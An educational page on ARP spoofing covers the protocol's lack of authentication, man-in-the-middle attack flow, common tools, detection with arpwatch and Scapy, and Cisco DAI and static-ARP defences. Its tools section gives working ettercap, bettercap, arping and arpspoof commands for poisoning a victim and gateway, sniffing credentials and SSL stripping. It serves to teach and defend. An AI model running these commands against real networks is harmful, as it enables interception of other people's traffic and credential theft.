Loading learning content...
On every Ethernet network, a quiet conversation takes place millions of times per day: devices ask "Who has this IP address?" and receive answers mapping IP addresses to physical MAC addresses. This is the Address Resolution Protocol (ARP)—a fundamental protocol that allows IP networking to function over Ethernet and similar technologies.
But ARP was designed in an era of implicit trust. It has no authentication, no verification, and no protection against lies. ARP spoofing exploits this vulnerability, allowing attackers to poison the address resolution tables of network devices, redirect traffic, and position themselves as invisible intermediaries in network communications. This attack is the foundation of local network penetration testing and one of the most powerful techniques for attacking switched networks.
By the end of this page, you will understand how ARP operates, why it's vulnerable, how attackers exploit it to intercept and manipulate traffic, the tools and techniques used in real-world ARP attacks, and the comprehensive defensive measures that network administrators deploy to protect their environments.
Before exploring the attack, we must understand the legitimate protocol and the problem it solves. ARP bridges two different addressing schemes that coexist on local networks.
The Two-Address Problem:
Ethernet frames use 48-bit MAC (Media Access Control) addresses for local delivery, while IP uses 32-bit (IPv4) or 128-bit (IPv6) logical addresses for global routing. When a device wants to send an IP packet to another device on the same local network, it needs to discover the destination's MAC address to properly encapsulate the IP packet in an Ethernet frame.
This is ARP's purpose: translate IP addresses to MAC addresses for local network communication.
| Field | Size (bytes) | Typical Value | Purpose |
|---|---|---|---|
| Hardware Type | 2 | 0x0001 (Ethernet) | Data link layer type |
| Protocol Type | 2 | 0x0800 (IPv4) | Network layer protocol |
| Hardware Address Length | 1 | 6 (Ethernet MACs) | Size of MAC addresses |
| Protocol Address Length | 1 | 4 (IPv4 addresses) | Size of IP addresses |
| Operation | 2 | 1 (Request) or 2 (Reply) | ARP operation type |
| Sender Hardware Address | 6 | Sender's MAC address | Source of this ARP message |
| Sender Protocol Address | 4 | Sender's IP address | IP claiming to originate message |
| Target Hardware Address | 6 | Unknown (00:00:00:00:00:00) or known | MAC being resolved or responded to |
| Target Protocol Address | 4 | Target's IP address | IP address being looked up |
Normal ARP Operation:
Consider Host A (IP: 192.168.1.10, MAC: AA:BB:CC:DD:EE:10) wanting to communicate with Host B (IP: 192.168.1.20, MAC: AA:BB:CC:DD:EE:20):
Host A checks its ARP cache — Does it already know B's MAC address? If yes, use cached value.
ARP Request (Broadcast) — If not cached, A broadcasts an ARP Request:
All hosts receive the broadcast — Every device on the local segment processes the ARP Request.
Host B responds (Unicast) — B recognizes its own IP and sends an ARP Reply:
Host A updates its ARP cache — A stores the IP-to-MAC mapping for future use.
Communication proceeds — A can now send Ethernet frames to B using the discovered MAC address.
ARP has absolutely no authentication mechanism. Any device can claim any IP address in its ARP messages, and other devices will believe it. There's no verification that the sender actually owns the claimed IP address. Furthermore, most systems accept unsolicited ARP replies (gratuitous ARP) and update their caches accordingly—even without having sent a request first.
Understanding how ARP caches work is essential to understanding the attack. The ARP cache is a local table maintained by each networked device, mapping IP addresses to MAC addresses.
ARP Cache Characteristics:
12345678910111213141516171819202122232425262728
# Viewing ARP cache on different operating systems # Linux$ arp -nAddress HWtype HWaddress Flags Mask Iface192.168.1.1 ether 00:1a:2b:3c:4d:5e C eth0192.168.1.20 ether aa:bb:cc:dd:ee:20 C eth0192.168.1.50 ether 11:22:33:44:55:66 C eth0 # Or using ip command (modern Linux)$ ip neigh show192.168.1.1 dev eth0 lladdr 00:1a:2b:3c:4d:5e REACHABLE192.168.1.20 dev eth0 lladdr aa:bb:cc:dd:ee:20 STALE192.168.1.50 dev eth0 lladdr 11:22:33:44:55:66 DELAY # WindowsC:\> arp -a Interface: 192.168.1.10 --- 0x4 Internet Address Physical Address Type 192.168.1.1 00-1a-2b-3c-4d-5e dynamic 192.168.1.20 aa-bb-cc-dd-ee-20 dynamic 192.168.1.255 ff-ff-ff-ff-ff-ff static # macOS$ arp -a? (192.168.1.1) at 00:1a:2b:3c:4d:5e on en0 ifscope [ethernet]? (192.168.1.20) at aa:bb:cc:dd:ee:20 on en0 ifscope [ethernet]Gratuitous ARP:
A gratuitous ARP is an ARP packet where a device announces its own IP-to-MAC mapping without being asked. The sender and target IP addresses are the same. Legitimate uses include:
However, gratuitous ARP is also the primary mechanism attackers use to inject false mappings into victim caches. Since there's no authentication, a malicious gratuitous ARP is indistinguishable from a legitimate one.
Since ARP cache entries expire, attackers must continuously send spoofed ARP messages to maintain poisoned entries. Most attack tools automatically resend ARP packets every few seconds. If the attacker stops, caches will eventually refresh with correct information—though the victim may need to re-resolve addresses first.
ARP spoofing attacks involve an attacker sending falsified ARP messages to associate their MAC address with the IP address of a legitimate network device. This enables several attack scenarios.
Detailed MITM Attack Flow:
Consider this scenario:
Step 1: Poison Victim's ARP Cache Attacker sends to Victim:
ARP Reply: 192.168.1.1 is at AA:AA:AA:AA:AA:AA
Victim now believes the gateway's MAC is the attacker's MAC.
Step 2: Poison Gateway's ARP Cache Attacker sends to Gateway:
ARP Reply: 192.168.1.100 is at AA:AA:AA:AA:AA:AA
Gateway now believes the victim's MAC is the attacker's MAC.
Step 3: Enable IP Forwarding Attacker enables IP forwarding so intercepted packets continue to their intended destination:
echo 1 > /proc/sys/net/ipv4/ip_forward # Linux
sysctl -w net.inet.ip.forwarding=1 # macOS
Step 4: Intercept and Forward Traffic All traffic between Victim and Gateway now flows through Attacker, who can:
ARP spoofing combined with MITM allows attackers to bypass network segmentation, intercept encrypted traffic (by performing SSL stripping or certificate substitution), capture credentials in real-time, and maintain persistent access. It's often the first step in lateral movement after initial network access and is a fundamental technique in penetration testing.
Several well-known tools automate ARP spoofing attacks, making them accessible to attackers with minimal technical expertise while also serving as essential penetration testing tools for security professionals.
| Tool | Platform | Key Features | Use Case |
|---|---|---|---|
| arpspoof (dsniff) | Linux | Simple CLI tool for basic ARP poisoning | Quick MITM positioning |
| Ettercap | Linux/Win/macOS | Full-featured MITM framework, plugin support, GUI/CLI | Comprehensive MITM with traffic analysis |
| Bettercap | Linux/macOS/Win | Modern extensible framework, JavaScript automation | Advanced attacks, Wi-Fi included |
| Cain & Abel | Windows (legacy) | GUI-based, password cracking integration | Windows-focused assessments |
| MITMf | Linux | MITM Framework with many attack modules | Automated attack chaining |
| Scapy | Linux/macOS/Win | Python packet manipulation library | Custom attack development |
12345678910111213141516171819202122232425262728293031
# Ettercap ARP poisoning MITM attack example# This demonstrates the tool usage for educational purposes # Text mode: Poison entire subnet, intercept all trafficsudo ettercap -T -M arp:remote /192.168.1.1// /// # Explained:# -T : Text mode (no GUI)# -M arp:remote : MITM using ARP poisoning; 'remote' for traffic to external networks# /192.168.1.1//: First target (gateway) - IP/netmask/MAC format (empty = any)# /// : Second target (all hosts on subnet) # Target specific hostssudo ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100// # With packet filtering (capture credentials)sudo ettercap -T -M arp:remote -F filter.ef /192.168.1.1// /192.168.1.100// # Write captured data to filesudo ettercap -T -M arp:remote -w capture.pcap /192.168.1.1// /// # Using Bettercap (modern alternative)sudo bettercap -iface eth0 # In bettercap interactive mode:> net.probe on # Discover hosts> set arp.spoof.targets 192.168.1.100 # Target victim> arp.spoof on # Start poisoning> net.sniff on # Capture traffic> set http.proxy.sslstrip true # SSL stripping> http.proxy on # MITM proxyManual ARP Spoofing with Linux CLI:
For understanding the mechanics, let's see manual ARP spoofing using basic Linux tools:
# Enable IP forwarding (required for MITM, not DoS)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Send spoofed ARP replies continuously
# Tell victim (192.168.1.100) that gateway (192.168.1.1) is at our MAC
while true; do
sudo arping -c 1 -U -s 192.168.1.1 -S 192.168.1.1 192.168.1.100 &
# Tell gateway that victim is at our MAC
sudo arping -c 1 -U -s 192.168.1.100 -S 192.168.1.100 192.168.1.1 &
sleep 2
done
# Alternative using arpspoof (from dsniff package)
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 & # Spoof gateway to victim
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 & # Spoof victim to gateway
ARP spoofing alone doesn't break HTTPS—but it enables SSL stripping attacks where the attacker maintains HTTPS connections to servers while serving HTTP to victims. Modern defenses like HSTS (HTTP Strict Transport Security), HSTS preloading, and certificate pinning significantly limit these attacks. However, initial HTTP connections, non-HSTS sites, and misconfigured applications remain vulnerable.
ARP spoofing has been used in countless real-world attacks and remains a fundamental technique in internal network assessments. Understanding its impact helps appreciate the importance of defenses.
Case Study: Internal Penetration Test Pattern
A typical penetration test leveraging ARP spoofing might proceed as follows:
This pattern demonstrates why ARP security is critical even in networks with perimeter defenses—once an attacker has any internal access, ARP spoofing dramatically accelerates compromise.
ARP spoofing is particularly dangerous in environments with untrusted or semi-trusted users on the same network segment: hotels, coffee shops, conference networks, university networks, shared office spaces, and even some corporate guest networks. Users should assume local network traffic could be monitored and rely only on encrypted, authenticated protocols.
Detecting ARP spoofing attacks requires monitoring for anomalous ARP behavior, duplicate MAC addresses, and other indicators of cache poisoning attempts.
| Technique | Mechanism | Effectiveness | Implementation |
|---|---|---|---|
| ARP Watch | Monitor for ARP (IP-MAC) mapping changes | High for detecting changes | arpwatch daemon, custom scripts |
| Duplicate MAC Detection | Alert when same MAC claims multiple IPs | High for simple attacks | Switch port security, IDS rules |
| Gratuitous ARP Monitoring | Track unsolicited ARP replies | Medium (false positives from legitimate use) | Network monitoring tools |
| Gateway MAC Correlation | Verify gateway MAC against known value | High for gateway impersonation | Host-based verification scripts |
| ARP Rate Limiting | Detect hosts sending excessive ARP traffic | Medium (tuning required) | Switch features, IDS |
| RARP Verification | Request reverse resolution to verify mappings | Medium (can be spoofed too) | Custom implementations |
| Traffic Pattern Analysis | Detect traffic flowing through unexpected hosts | Medium (requires baseline) | IDS/NDR systems |
123456789101112131415161718192021222324252627282930313233343536373839
# Using arpwatch to monitor for ARP changes (Linux)# Arpwatch logs all ARP IP/MAC bindings and alerts on changes # Installsudo apt-get install arpwatch # Start monitoring on eth0sudo arpwatch -i eth0 # View logs for suspicious activitytail -f /var/log/arpwatch.log # Example log entries indicating potential spoofing:# changed ethernet address 192.168.1.1 00:1a:2b:3c:4d:5e (aa:aa:aa:aa:aa:aa)# This shows gateway's MAC "changed" - likely an attack! # Manual check: Compare current ARP to expected gateway MAC# If you know your gateway MAC is 00:1a:2b:3c:4d:5e:EXPECTED_MAC="00:1a:2b:3c:4d:5e"CURRENT_MAC=$(arp -n 192.168.1.1 | awk '/192.168.1.1/{print $3}')if [ "$CURRENT_MAC" != "$EXPECTED_MAC" ]; then echo "WARNING: Gateway MAC mismatch! Possible ARP spoofing!" echo "Expected: $EXPECTED_MAC" echo "Current: $CURRENT_MAC"fi # Using Scapy for ARP monitoring (Python)#!/usr/bin/env python3from scapy.all import * def arp_monitor(packet): if ARP in packet and packet[ARP].op == 2: # ARP Reply # Check if this mapping is expected sender_ip = packet[ARP].psrc sender_mac = packet[ARP].hwsrc print(f"ARP Reply: {sender_ip} -> {sender_mac}") # Add validation logic here sniff(filter="arp", prn=arp_monitor, store=0)Legitimate network events can trigger ARP alerts: DHCP reassignments, virtual machine migrations, failover systems, and network troubleshooting. Effective detection requires understanding normal network behavior and tuning rules to minimize false positives while catching actual attacks. Correlation with other indicators (traffic patterns, time of day, user activity) improves accuracy.
Preventing ARP spoofing requires a multi-layered approach combining static configurations, switch-level controls, network segmentation, and endpoint security measures.
12345678910111213141516171819202122232425262728293031323334353637383940414243
! Cisco IOS Configuration for ARP Spoofing Prevention! This shows DAI (Dynamic ARP Inspection) setup with DHCP Snooping ! Step 1: Enable DHCP Snooping globally and on VLANsip dhcp snoopingip dhcp snooping vlan 10,20,30 ! Step 2: Configure trusted ports (uplinks, DHCP servers)interface GigabitEthernet0/1 description Uplink to Core ip dhcp snooping trust ip arp inspection trust interface GigabitEthernet0/2 description DHCP Server ip dhcp snooping trust ip arp inspection trust ! Step 3: Enable DAI on VLANsip arp inspection vlan 10,20,30 ! Step 4: Configure DAI rate limiting (optional, prevents DoS via ARP flood)interface range GigabitEthernet0/3 - 48 description User Access Ports ip arp inspection limit rate 15 burst interval 1 ! 15 ARP packets per second max ! Step 5: Additional DAI validation (optional but recommended)ip arp inspection validate src-mac dst-mac ip! Validates source/destination MAC in Ethernet matches ARP payload! Validates IP addresses are not invalid (0.0.0.0, broadcast, etc.) ! Step 6: Port Security (complement to DAI)interface range GigabitEthernet0/3 - 48 switchport port-security switchport port-security maximum 3 switchport port-security violation restrict switchport port-security aging time 120 ! View DAI statisticsshow ip arp inspection statisticsshow ip arp inspection vlan 10show ip dhcp snooping bindingStatic ARP Configuration (Defense for Critical Systems):
# Linux: Add static ARP entry for gateway
sudo arp -s 192.168.1.1 00:1a:2b:3c:4d:5e
# Make persistent (add to /etc/network/interfaces or rc.local)
echo "arp -s 192.168.1.1 00:1a:2b:3c:4d:5e" >> /etc/rc.local
# Windows: Static ARP
netsh interface ip add neighbors "Ethernet" 192.168.1.1 00-1a-2b-3c-4d-5e
# Verify static entry (shows PERM or static)
arp -a | grep 192.168.1.1
Static entries are immune to ARP spoofing but require manual management. They're most practical for protecting critical hosts' gateway mappings rather than all network mappings.
The most robust protection combines switch-level controls (DAI, DHCP Snooping), network design (segmentation, private VLANs), endpoint configuration (static gateway ARP), and application-level encryption (TLS everywhere, HSTS). No single mechanism is sufficient—assume each layer might fail and design accordingly.
ARP spoofing is one of the most powerful attacks available on local networks, exploiting a fundamental trust assumption in the protocol that bridges IP and Ethernet addressing.
What's Next:
While ARP spoofing operates at the data link layer within local networks, similar identity deception attacks occur at the application layer. The next page explores DNS spoofing—an attack that poisons the name-to-IP resolution process to redirect users to malicious destinations.
You now understand ARP spoofing comprehensively: the protocol vulnerability, attack mechanics, tools, impact, detection, and prevention. This knowledge is fundamental for both attacking and defending local networks, and forms the basis for understanding the man-in-the-middle attack category.